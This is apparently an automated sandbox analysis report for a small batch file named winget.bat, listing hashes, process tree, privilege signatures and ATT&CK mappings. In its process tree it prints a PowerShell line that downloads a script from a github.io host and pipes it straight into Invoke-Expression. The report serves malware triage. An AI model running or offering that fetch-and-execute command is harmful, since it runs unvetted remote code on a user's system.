9235d2676794ff9cc054258ec08e894647ed0112a94f078c9b901d8f1aa049ce

Analysis

max time kernel
10s
max time network
16s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08/09/2024, 12:02

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General

Target

Files/Apps/winget.bat
Size

213B
MD5

5b9a5da7b871353090b62739e4c899fe
SHA1

ae6d5bc03b0859d0f242f0925587446673bbac5f
SHA256

5acfc06a96565e3d5a9ed53dac1fb5824d4777cb133e933bbad8afd5330dad26
SHA512

5dc3ff9d6d61f85dec70b965f78059b74ce54968ac7cb00702408e907542dd3bdf657f49f8f796cb1053b8d8def3ed516dda4ea4691f3b62e3474bd46df855a0

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2136	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 2480	1120	cmd.exe	30
PID 1120 wrote to memory of 2480	1120	cmd.exe	30
PID 1120 wrote to memory of 2480	1120	cmd.exe	30
PID 2480 wrote to memory of 2444	2480	cmd.exe	31
PID 2480 wrote to memory of 2444	2480	cmd.exe	31
PID 2480 wrote to memory of 2444	2480	cmd.exe	31
PID 1120 wrote to memory of 2272	1120	cmd.exe	32
PID 1120 wrote to memory of 2272	1120	cmd.exe	32
PID 1120 wrote to memory of 2272	1120	cmd.exe	32
PID 1120 wrote to memory of 2312	1120	cmd.exe	33
PID 1120 wrote to memory of 2312	1120	cmd.exe	33
PID 1120 wrote to memory of 2312	1120	cmd.exe	33
PID 1120 wrote to memory of 2136	1120	cmd.exe	34
PID 1120 wrote to memory of 2136	1120	cmd.exe	34
PID 1120 wrote to memory of 2136	1120	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\winget.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\system32\chcp.com
    chcp
    3⤵
    PID:2444
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2272
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://schooicodes.github.io/file_hosting/winget.ps1 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2136-4-0x000007FEF45FE000-0x000007FEF45FF000-memory.dmp

Filesize
4KB

Download
memory/2136-5-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2136-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2136-7-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-8-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-9-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-10-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-11-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-12-0x000007FEF4340000-0x000007FEF4CDD000-memory.dmp

Filesize
9.6MB

Download